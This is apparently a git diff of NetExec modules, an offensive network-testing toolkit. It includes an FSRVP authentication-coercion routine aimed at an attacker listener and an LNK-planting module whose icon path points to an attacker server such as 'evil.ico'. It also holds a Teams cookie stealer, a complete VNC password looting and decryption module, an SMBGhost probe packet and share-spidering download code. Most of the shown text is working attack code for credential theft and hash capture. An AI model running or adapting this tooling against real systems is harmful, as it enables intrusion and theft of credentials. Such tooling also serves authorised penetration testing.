nxc_logger.debug("Sending IsPathShadowCopied!")
try:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
def IsPathSupported(self, dce, listener):
nxc_logger.debug("Sending IsPathSupported!")
try:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
+11 -16
View File
@@ -1,7 +1,7 @@
import pylnk3
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
"""
@@ -18,12 +18,11 @@ class NXCModule:
def __init__(self):
self.server = None
self.remote_file_path = None
self.local_lnk_path = None
self.file_path = None
self.lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.cleanup = None
def options(self, context, module_options):
@@ -32,7 +31,6 @@ class NXCModule:
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
@@ -48,10 +46,6 @@ class NXCModule:
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
@@ -63,12 +57,12 @@ class NXCModule:
self.lnk_name = module_options["NAME"]
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.local_lnk_path)
link = pylnk3.create(self.lnk_path)
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()
@@ -79,22 +73,23 @@ class NXCModule:
context.log.add_file_log(slinky_logger)
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
# TODO: these can be written to - add an option to override these
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.local_lnk_path, "rb") as lnk:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.remote_file_path)
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
-58
View File
@@ -1,58 +0,0 @@
# everything is comming from https://github.com/ly4k/SMBGhost
# credit to @ly4k_
# module by : @r4vanan
import socket
import struct
# Constants
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
# SMBGhost Packet
SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
class NXCModule:
name = "smbghost"
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
# Define options if needed
pass
def on_login(self, context, connection):
self.context = context
if self.perform_attack(connection.host):
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
def perform_attack(self, target_ip):
self.context.log.debug("Performing SMBGhost check...")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((target_ip, 445))
sock.send(SMBGHOST_PKT)
# Receive the first 4 bytes for length
nb_data = sock.recv(4)
if len(nb_data) < 4:
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
return False
nb, = struct.unpack(">I", nb_data)
res = sock.recv(nb)
# Check response for vulnerability
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
return True
else:
self.context.log.debug(f"{target_ip} Not vulnerable.")
return False
except Exception as e:
self.context.log.fail(f"Error while connecting to host: {e}")
return False
+23 -23
View File
@@ -1,9 +1,8 @@
import json
import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import os
import time
from nxc.paths import TMP_PATH
import traceback
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
@@ -37,7 +36,7 @@ def human_time(timestamp):
def make_dirs(path):
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
try:
makedirs(path)
os.makedirs(path)
except OSError as e:
if e.errno != errno.EEXIST:
raise
@@ -158,8 +157,8 @@ class SMBSpiderPlus:
remote_file.__smbConnection = self.smb.conn
return self.read_chunk(remote_file)
except Exception as e:
self.logger.exception(e)
except Exception:
traceback.print_exc()
break
return chunk
@@ -171,13 +170,13 @@ class SMBSpiderPlus:
The folder path and filename are then obtained separately.
"""
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
# Split the path to obtain the folder path and the filename
folder, filename = split(remote_file_path)
folder, filename = os.path.split(remote_file_path)
# Join the output folder with the folder path to get the final local folder path
folder = join(self.output_folder, folder)
folder = os.path.join(self.output_folder, folder)
return folder, filename
@@ -213,13 +212,13 @@ class SMBSpiderPlus:
# Start the spider at the root of the share folder
self.results[share_name] = {}
self.spider_folder(share_name, "")
except SessionError as e:
self.logger.exception(e)
except SessionError:
traceback.print_exc()
self.logger.fail("Got a session error while spidering.")
self.reconnect()
except Exception as e:
self.logger.exception(e)
traceback.print_exc()
self.logger.fail(f"Error enumerating shares: {e!s}")
# Save the metadata.
@@ -254,7 +253,7 @@ class SMBSpiderPlus:
# Check file-dir exclusion filter.
if any(d in next_filedir.lower() for d in self.exclude_filter):
self.logger.info(f'The {result_type} "{next_filedir}" has been excluded')
self.stats[f"num_{result_type}s_filtered"] += 1
self.stats[f"{result_type}s_filtered"] += 1
continue
if result_type == "folder":
@@ -284,7 +283,7 @@ class SMBSpiderPlus:
return
# Check file extension filter.
_, file_extension = splitext(file_path)
_, file_extension = os.path.splitext(file_path)
if file_extension:
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
@@ -307,10 +306,10 @@ class SMBSpiderPlus:
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
download_path = join(file_dir, file_name)
download_path = os.path.join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
if os.path.exists(download_path):
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
self.stats["num_files_unmodified"] += 1
return
@@ -349,7 +348,7 @@ class SMBSpiderPlus:
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
download_path = os.path.join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
@@ -366,8 +365,8 @@ class SMBSpiderPlus:
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
# Check if the file is empty and should not be.
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
remove(download_path)
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
os.remove(download_path)
remote_path = str(remote_file)[2:]
self.logger.fail(f'Unable to download file "{remote_path}".')
@@ -376,7 +375,7 @@ class SMBSpiderPlus:
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = join(self.output_folder, f"{self.host}.json")
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
try:
with open(metadata_path, "w", encoding="utf-8") as fd:
fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -411,7 +410,8 @@ class SMBSpiderPlus:
self.logger.display(f"Total folders found: {num_folders}")
num_folders_filtered = self.stats.get("num_folders_filtered", 0)
if num_folders_filtered:
self.logger.display(f"Folders Filtered: {num_folders_filtered}")
num_filtered_folders = len(num_folders_filtered)
self.logger.display(f"Folders Filtered: {num_filtered_folders}")
# File statistics.
num_files = self.stats.get("num_files", 0)
@@ -498,7 +498,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+3 -6
View File
@@ -7,7 +7,6 @@ from impacket.dcerpc.v5.rpch import (
RPC_PROXY_CONN_A1_404_ERR,
RPC_PROXY_RPC_OUT_DATA_404_ERR,
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -48,14 +47,14 @@ class NXCModule:
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
try:
entries = self.__fetch_list(connection.kerberos, rpctransport)
entries = self.__fetch_list(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -113,10 +112,8 @@ class NXCModule:
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, doKerberos, rpctransport):
def __fetch_list(self, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+2 -4
View File
@@ -1,6 +1,4 @@
import sqlite3
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -18,7 +16,7 @@ class NXCModule:
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
with open("/tmp/teams_cookies2.txt", "wb") as f:
for path in paths:
try:
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -39,7 +37,7 @@ class NXCModule:
@staticmethod
def parse_file(context, name):
try:
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
c = conn.cursor()
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
+1 -1
View File
@@ -37,6 +37,7 @@ class NXCModule:
"""
self.log_file = None
self.desc_count = 0
self.context = context
self.account_names = set()
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
@@ -70,7 +71,6 @@ class NXCModule:
On successful LDAP login we perform a search for all user objects that have a description.
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
-285
View File
@@ -1,285 +0,0 @@
import ntpath
import tempfile
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
class NXCModule:
"""
Loot VNC Passwords
Module by @_zblurx
"""
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
def options(self, context, module_options):
"""NO_REMOTEOPS Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
self.no_remoteops = False
if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
self.no_remoteops = True
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
continue
else:
fh = tempfile.NamedTemporaryFile()
fh.write(ntuser_dat_bytes)
fh.seek(0)
reg = winregistry.Registry(fh.name, isRemote=False)
parent_key = reg.findKey(registry_path)
if parent_key is None:
continue
cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def vnc_from_registry(self, remote_ops):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
("TightVNC", "Software\\TightVNC\\Server", "Password"),
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
value = value.rstrip(b"\x00")
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
)
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
if value is None:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
def recover_vncpassword(self, cipher: bytes):
encpasswd = cipher.hex()
pwd = None
if encpasswd:
# If the hex encoded passwd length is longer than 16 hex chars and divisible
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
# (1 hex char = 4 binary bits = 1 nibble)
hexpasswd = bytes.fromhex(encpasswd)
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
cryptedblocks = []
for sblock in splitstr:
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
pwd = b"".join(cryptedblocks)
elif len(hexpasswd) <= 16:
pwd = self.decrypt_password(cipher)
else:
pwd = self.decrypt_password(cipher)
return pwd
def decrypt_password(self, password: bytes):
length = len(password)
try:
if length <= 16:
password += b"\x00" * (16 - length)
cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
return cipher.decrypt(password)[:length]
except Exception as ex:
self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
def vnc_from_filesystem(self, dploot_conn):
vncs = (
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
passwds_encrypted = re.findall(regex, file_content)
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
+32 -105
View File
@@ -9,7 +9,6 @@ from termcolor import colored
from nxc.logger import nxc_logger
from impacket.dcerpc.v5 import rrp, samr, scmr
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError as SMBSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -29,6 +28,17 @@ REG_VALUE_TYPE_32BIT_BE = 5
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
REG_VALUE_TYPE_64BIT_LE = 11
# Setup file logger
if "wcc_logger" not in globals():
wcc_logger = logging.getLogger("WCC")
wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
wcc_logger.addHandler(wcc_file_handler)
class ConfigCheck:
"""Class for performing the checks and holding the results"""
@@ -65,7 +75,7 @@ class ConfigCheck:
def log(self, context):
result = "passed" if self.ok else "did not pass"
reasons = ", ".join(self.reasons)
self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
if self.module.quiet:
return
@@ -90,19 +100,6 @@ class NXCModule:
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.wcc_logger = logging.getLogger("WCC")
self.wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
self.wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
self.wcc_logger.addHandler(wcc_file_handler)
def options(self, context, module_options):
"""
OUTPUT_FORMAT Format for report (Default: 'json')
@@ -159,9 +156,15 @@ class HostChecker:
self.dce = remoteOps._RemoteOperations__rrp
def run(self):
# Prepare checks
self.init_checks()
# Perform checks
self.check_config()
# Check methods #
#################
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
@@ -191,15 +194,7 @@ class HostChecker:
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]),
ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]),
ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]),
ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender no path exlusions", "Checks Defender path exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]),
